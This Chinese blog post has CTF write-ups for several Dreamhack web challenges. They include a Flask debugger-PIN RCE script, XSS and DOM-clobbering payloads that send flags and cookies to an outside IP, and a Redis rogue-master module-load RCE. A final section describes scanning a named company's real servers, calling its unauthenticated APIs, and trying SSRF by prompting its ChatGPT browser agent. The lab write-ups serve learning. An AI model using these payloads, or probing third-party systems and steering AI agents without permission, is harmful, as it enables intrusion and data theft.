I can Read!
Description
Rumor has it that the admin page is broken and is being debugged on the internal network..
审计
代码不到40行,有两个flask。main监听5000端口,/路由有SSTI;8000端口有个/keygen,但开了Debug,可以触发报错。
@app.route('/keygen/<path:string>')def keygen(string): n = len(string)-1 a = hashlib.md5(string.encode('utf-8')) return str(hex(int(int(a.hexdigest(),16)/n)))这里只要传入一个字符,比如/a,n就等于0,会触发ZeroDivisionError。
附件缺少run.sh,直接开靶机吧
解题
5000端口的SSTI确实可用,但读不了/flag,权限不足。怀疑admin是root权限。

读一下run.sh,payload:
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /run.sh').read()}}#!/bin/shsu - user -c "nohup python3 /var/www/main/app.py 1> /dev/null 2>&1 &"python3 /var/www/admin/app.py试试看admin的flask debugger:
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('curl http://localhost:8000/keygen/test').read()}}
那么思路很清晰,要计算flask的debug pin。先收集信息:
cat /sys/class/net/eth0/addressaa:fc:00:02:1c:01
cat /proc/sys/kernel/random/boot_id3dee9a2d-9d64-45dd-aec8-b6b51ecc4728
cat /proc/self/cgroup# 取第一行字符串0::/libpod_parent/libpod-b56754c475f5477fbe0e2974955e58bd24f88d90e4c4f67ad8c984f56862b1da其他信息是已知的:
probably_public_bits = [ 'root' # username 'flask.app', # modname 'Flask', # appname '/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir]翻出之前留着的计算脚本,我忘记是哪篇博客抄来的,链接先不放了..
import hashlibfrom itertools import chain
def mac_10(): """ /sys/class/net/eth0/address mac地址十进制 :return: """ mac_address = "aa:fc:00:02:1c:01" # 将MAC地址视为一个十六进制数(去掉冒号) value = int(mac_address.replace(":", ""), 16) return str(value)
probably_public_bits = [ 'root' # username 'flask.app', # modname 'Flask', # appname '/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir]
machine_id = ''boot_id = '3dee9a2d-9d64-45dd-aec8-b6b51ecc4728'c_group = '0::/libpod_parent/libpod-b56754c475f5477fbe0e2974955e58bd24f88d90e4c4f67ad8c984f56862b1da'
id = ''if machine_id: id += machine_id.strip()else: id += boot_id.strip()id += c_group.strip().rpartition('/')[2]
private_bits = [ mac_10(), # mac地址 id #machin-id]
h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit)h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsnum = Noneif num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.rv = Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x: x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num
print(rv)# 273-621-736然后就是和普通题目稍微不太一样的地方了,这个debugger只能拿到html,没法直接用浏览器来操作。这里研究了一下,写了个python脚本:
import urllib.request as r, urllib.parse as p, retry: r.urlopen("http://127.0.0.1:8000/keygen/a")except Exception as e: h = e.read().decode()s = re.search('SECRET = "(.*?)";', h).group(1)# SECRET = "H4JJYUB2zmXDJEmvr08M"f = re.search('id="frame-(.*?)"', h).group(1)# id="frame-140589298894208"print("S:"+s+" F:"+f)pin = '273-621-736'
q = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd=pinauth&pin="+pin+"&s="+s)res = r.urlopen(q)
print("Auth OK with " + pin)c = res.getheader('Set-Cookie')if not c: c = res.getheader('set-cookie')cmd = p.quote("__import__('os').popen('cat /flag').read()")q2 = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd="+cmd+"&frm="+f+"&s="+s)q2.add_header("Cookie", c)print(r.urlopen(q2).read().decode())用base64先上传到/tmp/exp.py,然后再python3 /tmp/exp.py,OK出了。
curl -H "X-Proxy-Target: http://127.0.0.1:8000/" http://host3.dreamhack.games:14857
复盘
其实我想打内存马,增加一个/proxy路由,直接复用5000端口作为http代理,不过没打通,靶机到期了…先留着,这个得学的。
easyxss
审计
router.get('/', (req, res) => { const blog = req.query.blog || 'https://pocas.kr'; const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`); const url = parse(user['setblog'], true) , hostname = url.hostname;
if ((hostname === 'web-noob.kr' && user['username'] === 'hello') || (hostname === 'web-noob.kr' && username === 'world')) { console.log(1) res.render('index', {url:url}); } else { res.render('index', {url:'#'}); }});XSS出现在/路由上,注意到两个点:1. Json是拼接而成的,可能存在双引号破坏结构;2. if那行第一个用户名判断使用了user['username'] === 'hello'),第二个使用了username === 'world'。如果还有一点,那就是url.hostname可以指定任意协议头。
解题
首先尝试本地XSS,结合上述几点,使用这个Payload:
/?blog=http://web-noob.kr/", "username":"hello
发现真的跳转到http://web-noob.kr/了。同理的,如果使用javascript://web-noob.kr/就可以在目标地点执行任意Js了(其实也不是)。
首先尝试最普通的也是最常见的返回base64编码网页,不过失败了
javascript://web-noob.kr/%0afetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+btoa(t)))", "username":"hello
javascript://web-noob.kr/\nfetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+encodeURIComponent(btoa(t))))", "username":"hellojs根本没有执行,因为本地测试下来网页都没有跳转。
仔细分析了一下,又在console里测试了一下,怀疑是EJS转义<、>、'、"、&导致的。于是上网搜索不使用这些特殊符号的payload,找到了几种,也确实是都可用的。
0. 替代箭头函数
既然大于号无法使用,那可以使用旧的js语法,把r=>r.text()还原为传统的匿名函数function(r){return r.text()}。这个是接下来两点都需要做的。
1. 使用ES6模板字符串(反引号)
反引号是比较特别,它不会被转义,用法也很简单,把单引号换成反引号,把要带出的东西用${}模板包裹就可以。
javascript://web-noob.kr/%250afetch(`/flag`).then(function(r){return r.text()}).then(function(t){location.href=`http://120.26.146.96:8080/?c=${btoa(t)}`})", "username":"hello2. String.fromCharCode构造字符串
嗯这个傻傻的,但真的很有用…
javascript://web-noob.kr/%250afetch(String.fromCharCode(47,102,108,97,103)).then(function(r){return r.text()}).then(function(t){location.href=String.fromCharCode(104,116,116,112,58,47,47,49,50,48,46,50,54,46,49,52,54,46,57,54,58,56,48,56,48,47,63,99,61).concat(btoa(t))})", "username":"hello3. 使用 Base64
这个是看别人的WP发现的,诶,还真是。
javascript://web-noob.kr/%250aeval(atob(%27ZmV0Y2goJy9mbGFnJykudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5mZXRjaCgnaHR0cDovLzEyMC4yNi4xNDYuOTY6ODA4MC8/Yz0nK2J0b2EodCkpKQ%27))%22,%22username%22:%22helloBase64的内容是
fetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+btoa(t)))
不过这个Payload非常奇怪,我本地XSS不行(Chrome 版本 145.0.7632.117(正式版本) (arm64)),会触发CORS,远端居然可以?

Guest book v0.2
Description
This is a guestbook service being developed in php.
There is a writing function and a report function that allows the administrator to check the address where the error occurred.
The flag is included in the administrator’s cookie.
Code has been added to defend against vulnerabilities found in version 0.1.
This challenge is related to RPO and DOM Clobbering.
审计
附件只给了utils.php
<?phpfunction addLink($content){ $content = htmlentities($content); $content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content); PreventXSS($content); return $content;}
$ALLOW_TAGS_ATTRS = array( "html"=>['id', 'name'], "body"=>['id', 'name'], "a"=>['id','href','name'], "p"=>['id', 'name'],);
function PreventXSS($input){ global $ALLOW_TAGS_ATTRS;
$htmldoc = new DOMDocument(); $htmldoc->loadHTML($input);
$tags = $htmldoc->getElementsByTagName("*");
foreach ($tags as $tag) { if( !$ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)] ) DisallowAction(); $allow_attrs = $ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)]; foreach($tag->attributes as $attr){ if( !in_array(strtolower($attr->nodeName), $allow_attrs) ) DisallowAction(); } }}
function DisallowAction(){ die("no hack");}
?>实在没看出来啥,丢给AI说是单引号可以用来闭合用户输入…有点懵,先开靶机了。
解题
/GuestBook.php可以留言,不过好像不是储存形的。/Report.php可以让bot访问指定网页(http://127.0.0.1/开头)
注意到题目给的提示:This challenge is related to RPO and DOM Clobbering.
RPO
搜索了一下RPO(Relative Path Overwrite),那么就要去找有什么东西是相对变量引用的,只发现了这个:
<script src="config.js"></script> <script> if(window.CONFIG && window.CONFIG.debug){ location.href = window.CONFIG.main; } </script>查找config.js
window.CONFIG = { version: "v0.2", main: "/", debug: false, debugMSG: ""}
// prevent overwriteObject.freeze(window.CONFIG);既然需要DOM Clobbering,那这个Object.freeze(window.CONFIG);肯定是需要清除的。结合提示的RPO,只需要稍稍改变一下url就可以绕过config.js的加载。
如果访问/GuestBook.php,那么就会加载当前目录(/)下的config.json;但如果访问/GuestBook.php/,那么就会尝试加载/GuestBook.php/config.js,当然返回的html,绕过了DOM覆写保护。
DOOM Clobbering
function addLink($content){ $content = htmlentities($content); $content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content); PreventXSS($content); return $content;}注意这个流程,先htmlentities,再preg_replace,最后才PreventXSS。也就是说,[text](PAYLOAD)会直接正则替换为<a href='PAYLOAD'>text</a>,PAYLOAD里的单引号可以用来闭合href的前一个单引号。
目标是让满足下面这两个条件,并且让window.CONFIG.main指向XSS(javascript://…)
if(window.CONFIG && window.CONFIG.debug){ location.href = window.CONFIG.main;}构造以下payload:
[a](#' id='CONFIG' name='debug)[b](javascript:location.href="http://120.26.146.96:8080/?c="+document.cookie;' id='CONFIG' name='main)这会生成以下HTML:
<a href='#' id='CONFIG' name='debug'>a</a><a href='javascript:location.href="http://120.26.146.96:8080/?c="+document.cookie;' id='CONFIG' name='main'>b</a>第一行让window.CONFIG && window.CONFIG.debug满足(js魅力时刻,存在即true),第二行修改window.CONFIG.main指向这个<a>标签。当执行location.href = window.CONFIG.main;的时候,会自动调用<a> 标签的 toString()。完成跳转XSS。
最终Payload:
GuestBook.php/?content=%5Ba%5D%28%23%27+id%3D%27CONFIG%27+name%3D%27debug%29%0D%0A%5Bb%5D%28javascript%3Alocation.href%3D%22http%3A%2F%2F120.26.146.96%3A8080%2F%3Fc%3D%22%2Bdocument.cookie%3B%27+id%3D%27CONFIG%27+name%3D%27main%29
卧槽%00截断+onfocus
翻其他人的WP发现了这个东西!%00截断+onfocus
/GuestBook.php?content=%5B.%5D%28x%27+name%3D%00+onfocus%3D%27window.location%3D`http%3A%2F%2F120.26.146.96%3A8080%3Fdata%3D%60%2Bdocument.cookie%27++id%3D%00+autofocus+%27%29URL Decode后大概是(%00是空字符,还是看图吧):
[.](x' name=%00 onfocus='window.location=`http://120.26.146.96:8080?data=`+document.cookie' id=%00 autofocus ')正则替换后是:
<a href='x' name=\x00 onfocus='window.location=`http://120.26.146.96:8080?data=`+document.cookie' id=\x00 autofocus ''>.</a>而\x00会截断PreventXSS的检查,到<a href='x' name=就停下了。
当页面加载完后,直接autofocus到这个<a>标签,并且触发onfocus事件完成XSS。tql
node_api
Description
Reference
challenge for advanced web hacker!
This challenge is related to Session manipulation in Redis.
审计
代码不是很长,直接贴上来了(附件又不完整。。) main.js
const FLAG = function() { try { return require('fs').readFileSync('flag.txt').toString(); } catch (err) { return 'DH{*****}'; }}()
const express = require('express');const session = require('express-session');const app = express();
const redis = require('redis');const redis_client = redis.createClient();
const connectRedis = require('connect-redis');
const RedisStore = connectRedis(session);const sess = { resave: false, secret: 'dreamhack', store: new RedisStore({ client: redis_client }),};
const db = { 'guest': 'guest', 'dreamhack': '1234', 'ADMIN': 'this_is_admin?'}
function login(user) { return user.userpw && db[user.userid] == user.userpw;}
app.use(session(sess));redis_client.set('log_info', 'KEY: "log_" + new Date().getTime(), VALUE: userid');
app.get('/show_logs', function(req, res) { // var log_query=get/log_info var log_query = req.query.log_query; try { log_query = log_query.split('/'); if (log_query[0].toLowerCase() != 'get') { log_query[0] = 'get'; } log_query[1] = log_query.slice(1) } catch (err) { // Todo // Error(403); } try { redis_client.send_command(log_query[0], log_query[1], function(err, result) { if (err) { res.send('ERR'); } else { res.send(result); } }) } catch (err) { res.send('try /show_logs?log_query=get/log_info') }});
app.get('/login', function(req, res) { redis_client.set('log_' + new Date().getTime(), 'userid: ' + req.session.userid); if (login(req.query)) { req.session.userid = req.query.userid; res.send('<script>alert("login!");history.go(-1);</script>'); } else { res.send('<script>alert("login failed!");history.go(-1);</script>'); }});
app.get('/flag', function(req, res) { if (req.session.userid === "admin") { res.send(FLAG) } else { res.send('hello ' + req.session.userid); }});
app.get('/', function(req, res) { // Todo // res.render(...) res.send('hello ' + req.session.userid);});
app.listen(8000, '0.0.0.0');package.json
{ "name": "node_api", "version": "1.0.0", "description": "node_api", "main": "main.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "dependencies": { "connect-redis": "^4.0.4", "express": "^4.17.1", "express-session": "^1.17.0", "redis": "^3.0.2" }}看了一遍,又是catch错误没有处理:
var log_query = req.query.log_query; try { log_query = log_query.split('/'); if (log_query[0].toLowerCase() != 'get') { log_query[0] = 'get'; } log_query[1] = log_query.slice(1) } catch (err) { // Todo // Error(403); }解题1
诶不对,这题怎么感觉做过了,是数组报错绕过吧??搜索了一下卧槽这不就是之前做的phpythonode的node部分嘛。。。
先访问/拿cookie,s%3AxZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g.w5ReVUq30PS7E8a68VDpHb0NXKEOpPehxx%2BATnkOM4g
这里的Session ID就是xZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g
我们需要将 Session 数据设置为:
{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}payload就是:
GET /show_logs?log_query[0]=set&log_query[1][0]=sess:xZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g&log_query[1][1]={"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}返回OK,然后请求/flag,拿到flag:
DH{c5adc4033f8b685d84d56423082f21ac}
啊这。。。那是不是还有python_api、php_api…
解题2
之前做phpythonode那题时,做过redis写马了,但这题只有node环境,写马应该不行。现在我有两个思路:
- 修改main.js,直接返回flag.txt。不过nodejs并不会自动重新加载,这条路不通。
- 如果靶机出网,考虑Redis主从复制RCE,上传
.so用户函数。
试一下主从复制吧:
GET /show_logs?log_query[0]=slaveof&log_query[1][0]=120.26.146.96&log_query[1][1]=8080vps上nc -lvp 8080
卧槽真的出网!!OK Already connected to specified master
诶我vps上刚好有redis-rogue-server,上次长城杯初赛hjppx没做出来痛定思痛。
这里需要注意的是,redis默认工作目录在/app,这里redis用户没有权限写入。
GET /show_logs?log_query[0]=config&log_query[1][]=get&log_query[1][]=dir["dir","/app"]查询Redis版本,说是<=5.0.5可用,但实测5.0.7也可以。这里用的是:https://github.com/Dliv3/redis-rogue-server,是n0b0dyCN的同名仓库的fork,方便SSRF。
GET /show_logs?log_query[0]=info&log_query[1][]=server# Server redis_version:5.0.7 redis_git_sha1:bed89672 redis_git_dirty:0 redis_build_id:575dc7b6da705497 redis_mode:standalone os:Linux 4.19.234 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:9.2.0 process_id:3 run_id:4ff5434ac0f35e1330f9c2451b65b73e0f9fc331 tcp_port:6379 uptime_in_seconds:2293 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:10566738 executable:/app/redis-server config_file:开始主从复制RCE:
# 设置目录到可写的/tmpGET /show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dir&log_query[1][2]=/tmp# 设置备份文件名GET /show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dbfilename&log_query[1][2]=exp.so# 连接redis-rogue-serverGET /show_logs?log_query[0]=slaveof&log_query[1][0]=120.26.146.96&log_query[1][1]=21000
# 加载exp.soGET /show_logs?log_query[0]=module&log_query[1][0]=load&log_query[1][1]=/tmp/exp.so# 切断主从连接GET /show_logs?log_query[0]=slaveof&log_query[1][0]=no&log_query[1][1]=one# RCE~GET /show_logs?log_query[0]=system.exec&log_query[1][0]=cat%20/app/flag.txt
[题外话] SSRF via Agent(VPS 应急响应)
0x00: 打我干嘛qwq
我的VPS被打了,一看sshd日志,全是登录尝试。不过有几个IP吸引了我的注意,它们使用了chaomixian作为用户名尝试登录,这是有目的的啊,而且这样的记录有6049条!
那就拉一条最新的(2026-02-28 21:03)幸运儿61.169.28.178来分析一下。
0x01: 信息收集
fscan先上手做初步的信息收集,可以看到,资产还是不少的:

顺藤摸瓜先来到http://61.169.28.178:8000,网页Title是Deeplumen,我马上想到了《人生切割术》😂。

上网搜索一下,发现一篇水文。但无论怎么看,这个都像是山寨的。我更愿意相信deeplumen.io是真的,这个是假的。
对着8000端口扫一下dirsearch,结果还算丰富。
快速做一下fuzz,发现访问/assets/路由,会进入一个加载不太正常的网页:
按钮乱点一通,发现ai真的有响应。这说明有戏啊。把混淆过的js扔给Gemini分析,获得以下api。
0x02: 你好,外卖🥡
| 请求方式 | 接口路径 | 功能描述 | 请求参数 / Body |
|---|---|---|---|
| POST | /public/ecommerce/api/generate | 触发 AI 生成内容(支持流式 SSE 和非流式) | {"productId": "...", "model": "...", "copyType": "...", "stream": true/false} |
| GET | /public/ecommerce/api/products | 获取所有商品列表数据 | 无 |
| GET | /public/ecommerce/api/models | 获取系统支持的 AI 引擎模型列表(如 GPT-4o 等) | 无 |
| 请求方式 | 接口路径 | 功能描述 | 请求参数 / Body |
|---|---|---|---|
| POST | /public/ecommerce/api/pipelines/category | 创建一个新的品类监测任务 | {"category": "空调"} |
| GET | /public/ecommerce/api/pipelines/category/:id | 轮询/获取指定品类监测任务的详细状态和分析结果 | 路径参数:id (任务ID) |
| GET | /public/ecommerce/api/pipelines/category | 获取品类监测的历史任务列表(支持分页) | Query参数:?page={page}&page_size={size} |
| 请求方式 | 接口路径 | 功能描述 | 请求参数 / Body |
|---|---|---|---|
| POST | /public/ecommerce/api/pipelines/brand-duel | 创建一个新的品牌对抗任务 | {"brandA": "格力", "brandB": "美的", "category": "空调"} |
| GET | /public/ecommerce/api/pipelines/brand-duel/:id | 轮询/获取指定品牌对抗任务的详细状态和对决结果 | 路径参数:id (任务ID) |
| GET | /public/ecommerce/api/pipelines/brand-duel | 获取品牌对抗的历史任务列表(支持分页) | Query参数:?page={page}&page_size={size} |
| 请求方式 | 接口路径 | 功能描述 | 请求参数 / Body |
|---|---|---|---|
| GET | /public/ecommerce/api/monitor/health | 检查 GPT 服务(浏览器自动化服务)的连接健康状态 | 无 |
| POST | /public/ecommerce/api/monitor/tasks | 发送对话任务(支持开启联网搜索功能) | {"targetUrl": "http://example.com", "message": "用请简要总结当前页面内容", "enable_search": true/false, "modelId":"gpt-4o"} |
| GET | /public/ecommerce/api/monitor/tasks/:id | 轮询特定监控对话任务的状态、回答以及实时浏览器截图 | 路径参数:id (任务ID) Query参数:?include_screenshot=true |
在源码中,可以看到涉及长时间运行的任务(品类监测、品牌对抗、Monitor),前端均使用了短轮询(setTimeout 配合 GET 请求)来获取任务的进度。服务端返回的状态(status 字段)约定如下:
pending: 任务排队中running: 任务运行中/查询中analyzing: 正在进行 AI 分析总结completed: 任务完成,附带analysis_result或response数据failed: 任务失败,附带error信息waiting_login/waiting_captcha: (特指Monitor模块)浏览器侧需要人工介入登录或过验证码
0x03: 隔壁老王
好啊,那当然要试一试。
POST /public/ecommerce/api/monitor/tasks{"targetUrl":"http://45.62.101.83:8000","modelId":"gpt-4o", "message": "详细描述你看到的页面", "enable_search": true}
我去未鉴权,再读一下看看。
/public/ecommerce/api/monitor/tasks/01KJJTEH83S9Q3Z94Y0VJH9C66{ "id": "01KJJTEH83S9Q3Z94Y0VJH9C66", "type": "chat", "status": "pending", "message": "详细描述你看到的页面", "response": null, "error": null, "sources": null, "user_id": "default", "caller_user": null, "created_at": "2026-02-28T19:08:48.769759", "started_at": null, "completed_at": null, "screenshot": null, "metadata": null}也是可以的。更重要的是,当status为running时,screenshot真的会不断以Base64形式更新截图。它居然是浏览器RPA访问ChatGPT!

马上让ai写了一个自动脚本,轮询获取截图,希望能获取一些有用信息
可惜这个状态截图只能看见GPT界面,没有什么用。基本上只能截到这几个画面:

这时候,我大概明白整套系统的工作流程了,实际上是包装了一下Dify Workflow:
- 首先,用户输入网址,应该是准备分析的;
- 然后,开一个浏览器,访问TargetUrl并且截图;
- 接着,通过RPA发给ChatGPT总结网页信息;
- 最好,交给其他LLM完成数据整合。
什么鬼才想出来的…比较神奇的是,它使用的网页版ChatGPT没有登陆,每次使用重置一下环境,居然真的很稳定,极少出现需要登陆。
0x04: 是输入法(SSRF)
这一部分文字不多,但尝试了非常久。这蠢蛋API居然是一条一条顺序执行的,一次性发了19条,等了好久好久..
那么怎么 SSRF 呢。嗯,提示词工程,让 ChatGPT 尽可能详细得描述页面,然后它可能就会回复:
当前页面包含了关于广告展示、管理以及如何与我互动的一些说明。主要内容如下:\n广告展示:广告可能会出现在对话中,尤其是在免费的使用计划中,且这些广告与我的回答无关。\n广告管理:用户可以隐藏不相关的广告,调整广告设置或选择报告广告。\n用户隐私:我的回答不受广告影响,广告商无法访问用户对话内容或数据。\n账户设置:免费用户会看到广告,而企业和付费计划则不会。\n如果你有其他问题或想了解更多,可以告诉我!尝试 file:// 协议头读文件 和 javascript:// 协议头进行 XSS,都没有成功…不够就算成功,也没什么高价值信息,都是容器…(端口开得相当狂野,根本没SSRF的必要..)
此处省略一大堆Payload尝试…蒜鸟蒜鸟
其他的API也看了一下,都没鉴权,但这也没什么意思。

测试 React4Shell,修了。然后当然是进一步注册登陆,看看有没有什么洞了。不过注册完,登不进去…果然IP访问还是不行的…
0x05: 该睡觉了
这时候的思路是,找在线工具,用IP反查域名。不过一条记录也没有。。。突然想到,可以去看看注册时发验证码的邮箱地址啊,一看,是:
no-reply@notify.deeplumen.com不过这个deeplumen.com及其子域名,一个都没活着。8000端口的网页里还有一个deeplumen.ai,同样是死了。不过上网一搜,居然找到一个deeplumen.cn,443端口是个Wordpress,里面全是AI水文,icon是真的deeplumen的,但像素很低,而且像是截图,嗯对了,对味了,大概率就是这个了。(为了假冒deeplumen,还真是费尽心思)

目标当然不是这个Wordpress(47.110.83.239),但是可以信息收集一下嘛🤣。找到第一篇文章,发现有用户Harry评论。尝试用该用户名登陆Wordpress后台,提示用户名正确但密码错误。
接着去搜索deeplumen.cn的子域名,共搜索到(这个工具很好用):
mvp.deeplumen.cn (89.208.244.19)www.deeplumen.cn (47.110.83.239)blog.deeplumen.cn (61.169.28.178)calendar.deeplumen.cn (47.110.83.239)log.deeplumen.cn (47.110.83.239)network.deeplumen.cn (61.169.28.17)诶,诶,IP对上了!而且log.deeplumen.cn:443和mvp.deeplumen.cn:443以及61.169.28.178:8000一模一样,连API都是一样的。不过经过测试,SSRF的来源地址都是61.169.28.178,应该是共用一个后端,反向代理到log和mvp站。(API数据互通,但Web数据不互通)
注册log.deeplumen.cn并登陆,我终于理解这一切(雾)

那么还有一个IP(89.208.244.19),nmap一下,woc,原来这才是真正的API,怪不得叫mvp!

这才相当当时发验证码的邮件下方的链接是localhost3000!
(别盒了,临时邮箱qwq)
那么可以这样推测整个系统架构:
- 47.110.83.239:面向用户的服务器(虽然还没上线的样子)
- 89.208.244.19:开发时使用,承载业务AI分析相关API
- 61.169.28.178:有魔法环境,负责对接 ChatGPT 等服务
0x06: 还有呢
杭州星图灵知智能科技有限公司,你服务器成肉鸡了知不知道,还招人呢,哥,别打我了,小水管撑不住😭

还有这套代码曾经叫GEOK,应该是你吧。还有这玩意真能骗到钱吗?
0x07: 题外话
什么草台班子搞的东西,估计还有洞,要么是之前React4Shell被上线了没发现,不然打我vps干嘛…刚登上vps一看,已经被fail2ban给ban了。但还是非常蹊跷,这个IP尝试登录了我的两台VPS,而且都是知道用户名chaomixian,总计6000多次尝试,500多个IP,来自全球各地,大部分是中国。无语住了,这他妈的是被谁盯上了吧。留着钱吃吃喝喝,打我干嘛qwq。
| IP 地址 | 尝试次数 | 地理位置 / 运营商 |
|---|---|---|
| 43.135.130.196 | 494 | 阿里云 |
| 100.42.181.193 | 376 | - |
| 41.186.188.77 | 350 | 南非 |
| 121.37.30.12 | 98 | 中国 |
| 118.219.255.169 | 76 | 中国 |
| 190.102.41.232 | 74 | 中国 |
| 162.240.61.39 | 70 | 美国 |
| 160.191.89.118 | 70 | 荷兰 |
| 62.60.135.99 | 68 | 德国 |
| 171.244.62.7 | 60 | 美国 |
| 92.118.39.84 | 56 | 荷兰 |
这些IP每个扫过去,都像是被控了的肉鸡,不少直接能看到webshell(2222端口、222端口比较多)。真蚌埠住了。
不过,这些指定了chaomixian作为用户名的攻击,第一次从2025-07-11开始,打了他妈的 8个月了 !!如果计算所有的攻击次数,累计有 747,525 次,平均每30s就要被爆破一次,274 MB的日志不是开玩笑的😵
已关闭密码登陆.jpg
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









